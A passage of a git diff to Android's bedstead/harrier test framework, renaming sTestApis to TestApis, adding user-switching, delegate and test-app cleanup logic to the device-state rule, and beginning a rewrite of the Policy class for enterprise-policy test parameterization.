 
         if (resolvedProfileType == null) {
             // These profile types don't exist so there can't be any
@@ -1032,7 +1185,7 @@
         }
 
         UserReference profile =
-                sTestApis.users().findProfileOfType(
+                TestApis.users().findProfileOfType(
                         resolvedProfileType,
                         forUserReference);
         if (profile != null) {
@@ -1040,11 +1193,13 @@
         }
     }
 
-    private void ensureHasUser(String userType, OptionalBoolean installInstrumentedApp) {
+    private void ensureHasUser(
+            String userType, OptionalBoolean installInstrumentedApp,
+            OptionalBoolean switchedToUser) {
         com.android.bedstead.nene.users.UserType resolvedUserType =
                 requireUserSupported(userType, FailureMode.SKIP);
 
-        Collection<UserReference> users = sTestApis.users().findUsersOfType(resolvedUserType);
+        Collection<UserReference> users = TestApis.users().findUsersOfType(resolvedUserType);
 
         UserReference user = users.isEmpty() ? createUser(resolvedUserType)
                 : users.iterator().next();
@@ -1052,11 +1207,13 @@
         user.start();
 
         if (installInstrumentedApp.equals(OptionalBoolean.TRUE)) {
-            sTestApis.packages().find(sContext.getPackageName()).install(user);
+            TestApis.packages().find(sContext.getPackageName()).installExisting(user);
         } else if (installInstrumentedApp.equals(OptionalBoolean.FALSE)) {
-            sTestApis.packages().find(sContext.getPackageName()).uninstall(user);
+            TestApis.packages().find(sContext.getPackageName()).uninstall(user);
         }
 
+        ensureSwitchedToUser(switchedToUser, user);
+
         mUsers.put(resolvedUserType, user);
     }
 
@@ -1065,14 +1222,19 @@
      */
     private void ensureHasNoUser(String userType) {
         com.android.bedstead.nene.users.UserType resolvedUserType =
-                sTestApis.users().supportedType(userType);
+                TestApis.users().supportedType(userType);
 
         if (resolvedUserType == null) {
             // These user types don't exist so there can't be any
             return;
         }
 
-        for (UserReference secondaryUser : sTestApis.users().findUsersOfType(resolvedUserType)) {
+        for (UserReference secondaryUser : TestApis.users().findUsersOfType(resolvedUserType)) {
+            if (secondaryUser.equals(TestApis.users().instrumented())) {
+                throw new AssumptionViolatedException(
+                        "This test only runs on devices without a "
+                                + userType + " user. But the instrumented user is " + userType);
+            }
             removeAndRecordUser(secondaryUser);
         }
     }
@@ -1082,21 +1244,21 @@
             return; // Nothing to remove
         }
 
-        User user = userReference.resolve();
+        switchFromUser(userReference);
 
-        if (!mCreatedUsers.remove(user)) {
-            mRemovedUsers.add(sTestApis.users().createUser()
-                    .name(user.name())
-                    .type(user.type())
-                    .parent(user.parent()));
+        if (!mCreatedUsers.remove(userReference)) {
+            mRemovedUsers.add(TestApis.users().createUser()
+                    .name(userReference.name())
+                    .type(userReference.type())
+                    .parent(userReference.parent()));
         }
 
-        user.remove();
+        userReference.remove();
     }
 
     public void requireCanSupportAdditionalUser() {
         int maxUsers = getMaxNumberOfUsersSupported();
-        int currentUsers = sTestApis.users().all().size();
+        int currentUsers = TestApis.users().all().size();
 
         assumeTrue("The device does not have space for an additional user (" + currentUsers +
                 " current users, " + maxUsers + " max users)", currentUsers + 1 <= maxUsers);
@@ -1127,9 +1289,9 @@
     private UserReference resolveUserTypeToUser(UserType userType) {
         switch (userType) {
             case SYSTEM_USER:
-                return sTestApis.users().system();
+                return TestApis.users().system();
             case CURRENT_USER:
-                return sTestApis.users().instrumented();
+                return TestApis.users().instrumented();
             case PRIMARY_USER:
                 return primaryUser();
             case SECONDARY_USER:
@@ -1153,10 +1315,25 @@
             broadcastReceiver.unregisterQuietly();
         }
         mRegisteredBroadcastReceivers.clear();
-        mPrimaryDpc = null;
+        mPrimaryPolicyManager = null;
     }
 
+    private Set<TestAppInstance> mInstalledTestApps = new HashSet<>();
+    private Set<TestAppInstance> mUninstalledTestApps = new HashSet<>();
+
     private void teardownShareableState() {
+        if (mOriginalSwitchedUser != null) {
+            if (!mOriginalSwitchedUser.exists()) {
+                Log.d(LOG_TAG, "Could not switch back to original user "
+                        + mOriginalSwitchedUser
+                        + " as it does not exist. Switching to initial instead.");
+                TestApis.users().initial().switchTo();
+            } else {
+                mOriginalSwitchedUser.switchTo();
+            }
+            mOriginalSwitchedUser = null;
+        }
+
         if (mHasChangedDeviceOwner) {
             if (mOriginalDeviceOwner == null) {
                 if (mDeviceOwner != null) {
@@ -1164,8 +1341,8 @@
                 }
             } else if (!mOriginalDeviceOwner.equals(mDeviceOwner)) {
                 mDeviceOwner.remove();
-                sTestApis.devicePolicy().setDeviceOwner(
-                        mOriginalDeviceOwner.user(), mOriginalDeviceOwner.componentName());
+                TestApis.devicePolicy().setDeviceOwner(
+                        mOriginalDeviceOwner.componentName());
             }
             mHasChangedDeviceOwner = false;
             mOriginalDeviceOwner = null;
@@ -1175,7 +1352,7 @@
                 mChangedProfileOwners.entrySet()) {
 
             ProfileOwner currentProfileOwner =
-                    sTestApis.devicePolicy().getProfileOwner(originalProfileOwner.getKey());
+                    TestApis.devicePolicy().getProfileOwner(originalProfileOwner.getKey());
 
             if (Objects.equal(currentProfileOwner, originalProfileOwner.getValue())) {
                 continue; // No need to restore
@@ -1186,7 +1363,7 @@
             }
 
             if (originalProfileOwner.getValue() != null) {
-                sTestApis.devicePolicy().setProfileOwner(originalProfileOwner.getKey(),
+                TestApis.devicePolicy().setProfileOwner(originalProfileOwner.getKey(),
                         originalProfileOwner.getValue().componentName());
             }
         }
@@ -1203,13 +1380,23 @@
         }
 
         mRemovedUsers.clear();
+
+        for (TestAppInstance installedTestApp : mInstalledTestApps) {
+            installedTestApp.uninstall();
+        }
+        mInstalledTestApps.clear();
+
+        for (TestAppInstance uninstalledTestApp : mUninstalledTestApps) {
+            uninstalledTestApp.testApp().install(uninstalledTestApp.user());
+        }
+        mUninstalledTestApps.clear();
     }
 
     private UserReference createProfile(
             com.android.bedstead.nene.users.UserType profileType, UserReference parent) {
         requireCanSupportAdditionalUser();
         try {
-            UserReference user = sTestApis.users().createUser()
+            UserReference user = TestApis.users().createUser()
                     .parent(parent)
                     .type(profileType)
                     .createAndStart();
@@ -1223,7 +1410,7 @@
     private UserReference createUser(com.android.bedstead.nene.users.UserType userType) {
         requireCanSupportAdditionalUser();
         try {
-            UserReference user = sTestApis.users().createUser()
+            UserReference user = TestApis.users().createUser()
                     .type(userType)
                     .createAndStart();
             mCreatedUsers.add(user);
@@ -1244,30 +1431,129 @@
         }
     }
 
-    private void ensureHasDeviceOwner(UserType onUser, FailureMode failureMode, boolean isPrimary, Set<String> affiliationIds) {
-        // TODO(scottjonathan): Should support non-remotedpc device owner (default to remotedpc)
-        // TODO(scottjonathan): Should allow setting the device owner on a different user
-        UserReference userReference = resolveUserTypeToUser(onUser);
-        if (isPrimary && mPrimaryDpc != null && !userReference.equals(mPrimaryDpc.user())) {
-            throw new IllegalStateException("Only one DPC can be marked as primary per test (current primary is " + mPrimaryDpc + ")");
+    private void ensureHasDelegate(
+            EnsureHasDelegate.AdminType adminType, List<String> scopes, boolean isPrimary) {
+        RemotePolicyManager dpc = getDeviceAdmin(adminType);
+
+
+        boolean specifiesAdminType = adminType != EnsureHasDelegate.AdminType.PRIMARY;
+        boolean currentPrimaryPolicyManagerIsNotDelegator = mPrimaryPolicyManager != dpc;
+
+        if (isPrimary && mPrimaryPolicyManager != null
+                && (specifiesAdminType || currentPrimaryPolicyManagerIsNotDelegator)) {
+            throw new IllegalStateException(
+                    "Only one DPC can be marked as primary per test (current primary is "
+                            + mPrimaryPolicyManager + ")");
         }
-        if (!userReference.equals(sTestApis.users().instrumented())) {
+
+        if (!dpc.user().equals(TestApis.users().instrumented())) {
             // INTERACT_ACROSS_USERS_FULL is required for RemoteDPC
             ensureCanGetPermission(INTERACT_ACROSS_USERS_FULL);
         }
 
-        DeviceOwner currentDeviceOwner = sTestApis.devicePolicy().getDeviceOwner();
+        ensureTestAppInstalled(RemoteDelegate.sTestApp, dpc.user());
+        RemoteDelegate delegate = new RemoteDelegate(RemoteDelegate.sTestApp, dpc().user());
+        dpc.devicePolicyManager().setDelegatedScopes(
+                dpc.componentName(), delegate.packageName(), scopes);
+
+        if (isPrimary) {
+            mPrimaryPolicyManager = delegate;
+        }
+    }
+
+    private void ensureHasNoDelegate(EnsureHasNoDelegate.AdminType adminType) {
+        if (adminType == EnsureHasNoDelegate.AdminType.ANY) {
+            for (UserReference user : TestApis.users().all()) {
+                ensureTestAppNotInstalled(RemoteDelegate.sTestApp, user);
+            }
+            return;
+        }
+        RemotePolicyManager dpc =
+                adminType == EnsureHasNoDelegate.AdminType.PRIMARY ? mPrimaryPolicyManager
+                : adminType == EnsureHasNoDelegate.AdminType.DEVICE_OWNER ? deviceOwner()
+                : adminType == EnsureHasNoDelegate.AdminType.PROFILE_OWNER ? profileOwner() : null;
+        if (dpc == null) {
+            throw new IllegalStateException("Unknown Admin Type " + adminType);
+        }
+
+        ensureTestAppNotInstalled(RemoteDelegate.sTestApp, dpc.user());
+    }
+
+    private RemotePolicyManager getDeviceAdmin(EnsureHasDelegate.AdminType adminType) {
+        switch (adminType) {
+            case DEVICE_OWNER:
+                return deviceOwner();
+            case PROFILE_OWNER:
+                return profileOwner();
+            case PRIMARY:
+                return dpc();
+            default:
+                throw new IllegalStateException("Unknown device admin type " + adminType);
+        }
+    }
+
+    private void ensureTestAppInstalled(TestApp testApp, UserReference user) {
+        if (TestApis.packages().find(testApp.packageName()).installedOnUser(user)) {
+            return;
+        }
+
+        mInstalledTestApps.add(testApp.install(user));
+    }
+
+    private void ensureTestAppNotInstalled(TestApp testApp, UserReference user) {
+        if (!TestApis.packages().find(testApp.packageName()).installedOnUser(user)) {
+            return;
+        }
+
+        TestAppInstance instance = testApp.instance(user);
+
+        if (mInstalledTestApps.contains(instance)) {
+            mInstalledTestApps.remove(instance);
+        } else {
+            mUninstalledTestApps.add(instance);
+        }
+
+        testApp.uninstall(user);
+    }
+
+    private void ensureHasDeviceOwner(FailureMode failureMode, boolean isPrimary,
+            Set<String> affiliationIds) {
+        // TODO(scottjonathan): Should support non-remotedpc device owner (default to remotedpc)
+
+        UserReference userReference = TestApis.users().system();
+
+        if (isPrimary && mPrimaryPolicyManager != null && !userReference.equals(
+                mPrimaryPolicyManager.user())) {
+            throw new IllegalStateException(
+                    "Only one DPC can be marked as primary per test (current primary is "
+                            + mPrimaryPolicyManager + ")");
+        }
+        if (!userReference.equals(TestApis.users().instrumented())) {
+            // INTERACT_ACROSS_USERS_FULL is required for RemoteDPC
+            ensureCanGetPermission(INTERACT_ACROSS_USERS_FULL);
+        }
+
+        DeviceOwner currentDeviceOwner = TestApis.devicePolicy().getDeviceOwner();
 
         if (currentDeviceOwner != null
                 && currentDeviceOwner.componentName().equals(RemoteDpc.DPC_COMPONENT_NAME)) {
             mDeviceOwner = currentDeviceOwner;
         } else {
-            UserReference instrumentedUser = sTestApis.users().instrumented();
+            UserReference instrumentedUser = TestApis.users().instrumented();
 
             if (!Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.S)) {
                 // Prior to S we can't set device owner if there are other users on the device
-                for (UserReference u : sTestApis.users().all()) {
+
+                if (instrumentedUser.id() != 0) {
+                    // If we're not on the system user we can't reach the required state
+                    throw new AssumptionViolatedException(
+                            "Can't set Device Owner when running on non-system-user"
+                                    + " on this version of Android");
+                }
+
+                for (UserReference u : TestApis.users().all()) {
                     if (u.equals(instrumentedUser)) {
+                        // Can't remove the user we're running on
                         continue;
                     }
                     try {
@@ -1288,16 +1574,16 @@
                 mHasChangedDeviceOwner = true;
             }
 
-            mDeviceOwner = RemoteDpc.setAsDeviceOwner(userReference)
-                    .devicePolicyController();
+            mDeviceOwner = RemoteDpc.setAsDeviceOwner().devicePolicyController();
         }
 
         if (isPrimary) {
-            mPrimaryDpc = mDeviceOwner;
+            mPrimaryPolicyManager = RemoteDpc.forDevicePolicyController(mDeviceOwner);
         }
         
-        RemoteDpc.forDevicePolicyController(mDeviceOwner).devicePolicyManager()
-                .setAffiliationIds(affiliationIds);
+        RemoteDpc.forDevicePolicyController(mDeviceOwner)
+                .devicePolicyManager()
+                .setAffiliationIds(REMOTE_DPC_COMPONENT_NAME, affiliationIds);
     }
 
     private void ensureHasProfileOwner(UserType onUser, boolean isPrimary, Set<String> affiliationIds) {
@@ -1308,17 +1594,18 @@
 
     private void ensureHasProfileOwner(
             UserReference user, boolean isPrimary, Set<String> affiliationIds) {
-        if (isPrimary && mPrimaryDpc != null && !user.equals(mPrimaryDpc.user())) {
+        if (isPrimary && mPrimaryPolicyManager != null
+                && !user.equals(mPrimaryPolicyManager.user())) {
             throw new IllegalStateException("Only one DPC can be marked as primary per test");
         }
 
-        if (!user.equals(sTestApis.users().instrumented())) {
+        if (!user.equals(TestApis.users().instrumented())) {
             // INTERACT_ACROSS_USERS_FULL is required for RemoteDPC
             ensureCanGetPermission(INTERACT_ACROSS_USERS_FULL);
         }
 
-        ProfileOwner currentProfileOwner = sTestApis.devicePolicy().getProfileOwner(user);
-        DeviceOwner currentDeviceOwner = sTestApis.devicePolicy().getDeviceOwner();
+        ProfileOwner currentProfileOwner = TestApis.devicePolicy().getProfileOwner(user);
+        DeviceOwner currentDeviceOwner = TestApis.devicePolicy().getDeviceOwner();
 
         if (currentDeviceOwner != null && currentDeviceOwner.user().equals(user)) {
             // Can't have DO and PO on the same user
@@ -1338,18 +1625,18 @@
         }
 
         if (isPrimary) {
-            mPrimaryDpc = mProfileOwners.get(user);
+            mPrimaryPolicyManager = RemoteDpc.forDevicePolicyController(mProfileOwners.get(user));
         }
 
         if (affiliationIds != null) {
             RemoteDpc profileOwner = profileOwner(user);
             profileOwner.devicePolicyManager()
-                    .setAffiliationIds(affiliationIds);
+                    .setAffiliationIds(REMOTE_DPC_COMPONENT_NAME, affiliationIds);
         }
     }
 
     private void ensureHasNoDeviceOwner() {
-        DeviceOwner deviceOwner = sTestApis.devicePolicy().getDeviceOwner();
+        DeviceOwner deviceOwner = TestApis.devicePolicy().getDeviceOwner();
 
         if (deviceOwner == null) {
             return;
@@ -1372,7 +1659,7 @@
 
     private void ensureHasNoProfileOwner(UserReference user) {
 
-        ProfileOwner currentProfileOwner = sTestApis.devicePolicy().getProfileOwner(user);
+        ProfileOwner currentProfileOwner = TestApis.devicePolicy().getProfileOwner(user);
 
         if (currentProfileOwner == null) {
             return;
@@ -1382,7 +1669,7 @@
             mChangedProfileOwners.put(user, currentProfileOwner);
         }
 
-        sTestApis.devicePolicy().getProfileOwner(user).remove();
+        TestApis.devicePolicy().getProfileOwner(user).remove();
         mProfileOwners.remove(user);
     }
 
@@ -1462,11 +1749,7 @@
     private void requirePackageInstalled(
             String packageName, UserType forUser, FailureMode failureMode) {
 
-        Package pkg = sTestApis.packages().find(packageName).resolve();
-        checkFailOrSkip(
-                packageName + " is required to be installed for " + forUser,
-                pkg != null,
-                failureMode);
+        Package pkg = TestApis.packages().find(packageName);
 
         if (forUser.equals(UserType.ANY)) {
             checkFailOrSkip(
@@ -1476,18 +1759,14 @@
         } else {
             checkFailOrSkip(
                     packageName + " is required to be installed for " + forUser,
-                    pkg.installedOnUsers().contains(resolveUserTypeToUser(forUser)),
+                    pkg.installedOnUser(resolveUserTypeToUser(forUser)),
                     failureMode);
         }
     }
 
     private void requirePackageNotInstalled(
             String packageName, UserType forUser, FailureMode failureMode) {
-        Package pkg = sTestApis.packages().find(packageName).resolve();
-        if (pkg == null) {
-            // Definitely not installed
-            return;
-        }
+        Package pkg = TestApis.packages().find(packageName);
 
         if (forUser.equals(UserType.ANY)) {
             checkFailOrSkip(
@@ -1497,52 +1776,45 @@
         } else {
             checkFailOrSkip(
                     packageName + " is required to be not installed for " + forUser,
-                    !pkg.installedOnUsers().contains(resolveUserTypeToUser(forUser)),
+                    !pkg.installedOnUser(resolveUserTypeToUser(forUser)),
                     failureMode);
         }
     }
 
     private void ensurePackageNotInstalled(
             String packageName, UserType forUser) {
-
-        Package pkg = sTestApis.packages().find(packageName).resolve();
-        if (pkg == null) {
-            // Definitely not installed
-            return;
-        }
+        Package pkg = TestApis.packages().find(packageName);
 
         if (forUser.equals(UserType.ANY)) {
-            if (!pkg.installedOnUsers().isEmpty()) {
-                pkg.uninstallFromAllUsers();
-            }
+            pkg.uninstallFromAllUsers();
         } else {
             UserReference user = resolveUserTypeToUser(forUser);
-            if (pkg.installedOnUsers().contains(user)) {
-                pkg.uninstall(user);
-            }
+            pkg.uninstall(user);
         }
     }
 
     /**
-     * Get the most appropriate {@link RemoteDpc} instance for the device state.
+     * Get the most appropriate {@link RemotePolicyManager} instance for the device state.
      *
      * <p>This method should only be used by tests which are annotated with {@link PolicyTest}.
      *
-     * <p>If no DPC is set as the "primary" DPC for the device state, then this method will first
+     * <p>This may be a DPC, a delegate, or a normal app with or without given permissions.
+     *
+     * <p>If no policy manager is set as "primary" for the device state, then this method will first
      * check for a profile owner in the current user, or else check for a device owner.
      *
      * <p>If no Harrier-managed profile owner or device owner exists, an exception will be thrown.
      *
      * <p>If the profile owner or device owner is not a RemoteDPC then an exception will be thrown.
      */
-    public RemoteDpc dpc() {
-        if (mPrimaryDpc != null) {
-            return RemoteDpc.forDevicePolicyController(mPrimaryDpc);
+    public RemotePolicyManager dpc() {
+        if (mPrimaryPolicyManager != null) {
+            return mPrimaryPolicyManager;
         }
 
-        if (mProfileOwners.containsKey(sTestApis.users().instrumented())) {
+        if (mProfileOwners.containsKey(TestApis.users().instrumented())) {
             DevicePolicyController profileOwner =
-                    mProfileOwners.get(sTestApis.users().instrumented());
+                    mProfileOwners.get(TestApis.users().instrumented());
 
 
             if (profileOwner.componentName().equals(REMOTE_DPC_COMPONENT_NAME)) {
@@ -1573,4 +1845,70 @@
                     "This test requires INTERACT_ACROSS_USERS_FULL which can only be used on Q+");
         }
     }
+
+    private void switchToUser(UserReference user) {
+        UserReference currentUser = TestApis.users().current();
+        if (!currentUser.equals(user)) {
+            if (mOriginalSwitchedUser == null) {
+                mOriginalSwitchedUser = currentUser;
+            }
+            user.switchTo();
+        }
+    }
+
+    private void switchFromUser(UserReference user) {
+        UserReference currentUser = TestApis.users().current();
+        if (!currentUser.equals(user)) {
+            return;
+        }
+
+        // We need to find a different user to switch to
+        // full users only, starting with lowest ID
+        List<UserReference> users = new ArrayList<>(TestApis.users().all());
+        users.sort(Comparator.comparingInt(UserReference::id));
+
+        for (UserReference otherUser : users) {
+            if (otherUser.equals(user)) {
+                continue;
+            }
+
+            if (otherUser.parent() != null) {
+                continue;
+            }
+
+            switchToUser(otherUser);
+            return;
+        }
+
+        // There are no users to switch to so we'll create one
+        ensureHasUser(SECONDARY_USER_TYPE_NAME,
+                /* installInstrumentedApp= */ OptionalBoolean.ANY,
+                /* switchedToUser= */ OptionalBoolean.TRUE);
+    }
+
+    private void requireNotHeadlessSystemUserMode() {
+        assumeFalse("This test is not supported on headless system user devices",
+                TestApis.users().isHeadlessSystemUserMode());
+    }
+
+    private void requireHeadlessSystemUserMode() {
+        assumeTrue("This test is only supported on headless system user devices",
+                TestApis.users().isHeadlessSystemUserMode());
+    }
+
+    private void requireLowRamDevice(String reason, FailureMode failureMode) {
+        checkFailOrSkip(reason,
+                TestApis.context().instrumentedContext()
+                        .getSystemService(ActivityManager.class)
+                        .isLowRamDevice(),
+                failureMode);
+    }
+
+    private void requireNotLowRamDevice(String reason, FailureMode failureMode) {
+        checkFailOrSkip(reason,
+                !TestApis.context().instrumentedContext()
+                        .getSystemService(ActivityManager.class)
+                        .isLowRamDevice(),
+                failureMode);
+    }
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DynamicParameterizedAnnotation.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DynamicParameterizedAnnotation.java
new file mode 100644
index 0000000..15afb2b
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DynamicParameterizedAnnotation.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier;
+
+import java.lang.annotation.Annotation;
+import java.util.Arrays;
+import java.util.Objects;
+
+/**
+ * A fake annotation used inside {@link Policy} and {@link BedsteadJUnit4} to inject
+ * new parameterizations.
+ */
+public final class DynamicParameterizedAnnotation implements Annotation {
+    private final String mName;
+    private final Annotation[] mAnnotations;
+
+    DynamicParameterizedAnnotation(String name, Annotation[] annotations) {
+        mName = name;
+        mAnnotations = annotations;
+    }
+
+    /** Get the parameterization name. */
+    public String name() {
+        return mName;
+    }
+
+    /** Get the annotations applied to the parameterization. */
+    public Annotation[] annotations() {
+        return mAnnotations;
+    }
+
+    @Override
+    public Class<? extends Annotation> annotationType() {
+        // This is special cased in BedsteadJUnit4 so will never be called
+        return null;
+    }
+
+    @Override
+    public boolean equals(Object o) {
+        if (this == o) return true;
+        if (!(o instanceof DynamicParameterizedAnnotation)) return false;
+        DynamicParameterizedAnnotation that = (DynamicParameterizedAnnotation) o;
+        return Objects.equals(mName, that.mName) && Arrays.equals(mAnnotations,
+                that.mAnnotations);
+    }
+
+    @Override
+    public int hashCode() {
+        int result = Objects.hash(mName);
+        result = 31 * result + Arrays.hashCode(mAnnotations);
+        return result;
+    }
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/Policy.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/Policy.java
index 6afc119..e01c8f1 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/Policy.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/Policy.java
@@ -16,219 +16,504 @@
 
 package com.android.bedstead.harrier;
 
+import static android.app.admin.DevicePolicyManager.DELEGATION_APP_RESTRICTIONS;
+import static android.app.admin.DevicePolicyManager.DELEGATION_BLOCK_UNINSTALL;
+import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_INSTALL;
+import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_SELECTION;
+import static android.app.admin.DevicePolicyManager.DELEGATION_ENABLE_SYSTEM_APP;
+import static android.app.admin.DevicePolicyManager.DELEGATION_INSTALL_EXISTING_PACKAGE;
+import static android.app.admin.DevicePolicyManager.DELEGATION_KEEP_UNINSTALLED_PACKAGES;
+import static android.app.admin.DevicePolicyManager.DELEGATION_NETWORK_LOGGING;
+import static android.app.admin.DevicePolicyManager.DELEGATION_PACKAGE_ACCESS;
+import static android.app.admin.DevicePolicyManager.DELEGATION_PERMISSION_GRANT;
+import static android.app.admin.DevicePolicyManager.DELEGATION_SECURITY_LOGGING;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_AFFILIATED_PROFILE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_AFFILIATED_PROFILE_OWNER_PROFILE;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_AFFILIATED_PROFILE_OWNER_USER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER_USER_WITH_NO_DO;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_USER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_IN_BACKGROUND;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_AFFILIATED_OTHER_USERS;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_PARENT;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_UNAFFILIATED_OTHER_USERS;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.CAN_BE_DELEGATED;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.DO_NOT_APPLY_TO_NEGATIVE_TESTS;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.NO;
+
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDelegate;
 import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
 import com.android.bedstead.harrier.annotations.parameterized.IncludeNone;
 import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnAffiliatedDeviceOwnerSecondaryUser;
 import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnAffiliatedProfileOwnerSecondaryUser;
+import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnBackgroundDeviceOwnerUser;
 import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnDeviceOwnerUser;
 import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser;
 import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnParentOfCorporateOwnedProfileOwner;
-import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnParentOfProfileOwner;
+import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnParentOfProfileOwnerWithNoDeviceOwner;
 import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnProfileOwnerPrimaryUser;
-import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnProfileOwnerProfile;
-import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnSecondaryUserInDifferentProfileGroupToProfileOwner;
+import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnProfileOwnerProfileWithNoDeviceOwner;
+import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnSecondaryUserInDifferentProfileGroupToProfileOwnerProfile;
+import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnUnaffiliatedProfileOwnerSecondaryUser;
+
+import com.google.auto.value.AutoAnnotation;
+import com.google.common.collect.ImmutableMap;
+import com.google.common.collect.ImmutableSet;
 
 import java.lang.annotation.Annotation;
 import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Comparator;
+import java.util.HashMap;
+import java.util.HashSet;
 import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.function.Function;
+import java.util.stream.Collectors;
 
 /**
  * Utility class for enterprise policy tests.
  */
-@IncludeNone
-@IncludeRunOnDeviceOwnerUser
-@IncludeRunOnAffiliatedDeviceOwnerSecondaryUser
-@IncludeRunOnAffiliatedProfileOwnerSecondaryUser
-@IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser
-@IncludeRunOnProfileOwnerProfile
-@IncludeRunOnParentOfCorporateOwnedProfileOwner
-@IncludeRunOnSecondaryUserInDifferentProfileGroupToProfileOwner
-@IncludeRunOnParentOfProfileOwner
-@IncludeRunOnProfileOwnerPrimaryUser
 public final class Policy {
 
+    // Delegate scopes to be used for a "CannotSet" state. All delegate scopes except the ones which
+    // should allow use of the API will be granted
+    private static final ImmutableSet<String> ALL_DELEGATE_SCOPES = ImmutableSet.of(
+            DELEGATION_CERT_INSTALL,
+            DELEGATION_APP_RESTRICTIONS,
+            DELEGATION_BLOCK_UNINSTALL,
+            DELEGATION_PERMISSION_GRANT,
+            DELEGATION_PACKAGE_ACCESS,
+            DELEGATION_ENABLE_SYSTEM_APP,
+            DELEGATION_INSTALL_EXISTING_PACKAGE,
+            DELEGATION_KEEP_UNINSTALLED_PACKAGES,
+            DELEGATION_NETWORK_LOGGING,
+            DELEGATION_CERT_SELECTION,
+            DELEGATION_SECURITY_LOGGING
+    );
+
+    // This is a map containing all Include* annotations and the flags which lead to them
+    // This is not validated - every state must have a single APPLIED_BY annotation
+    private static final ImmutableMap<Integer, Function<EnterprisePolicy, Set<Annotation>>>
+            STATE_ANNOTATIONS =
+            ImmutableMap.<Integer, Function<EnterprisePolicy, Set<Annotation>>>builder()
+                    .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER, singleAnnotation(includeRunOnDeviceOwnerUser()))
+                    .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnDeviceOwnerUser(), /* isPrimary= */ true))
+                    .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER | APPLIES_IN_BACKGROUND, singleAnnotation(includeRunOnBackgroundDeviceOwnerUser()))
+                    .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER | APPLIES_IN_BACKGROUND | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnBackgroundDeviceOwnerUser(), /* isPrimary= */ true))
+
+                    .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_UNAFFILIATED_OTHER_USERS, singleAnnotation(includeRunOnNonAffiliatedDeviceOwnerSecondaryUser()))
+                    .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_UNAFFILIATED_OTHER_USERS | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnNonAffiliatedDeviceOwnerSecondaryUser(), /* isPrimary= */ true))
+                    .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_AFFILIATED_OTHER_USERS, singleAnnotation(includeRunOnAffiliatedDeviceOwnerSecondaryUser()))
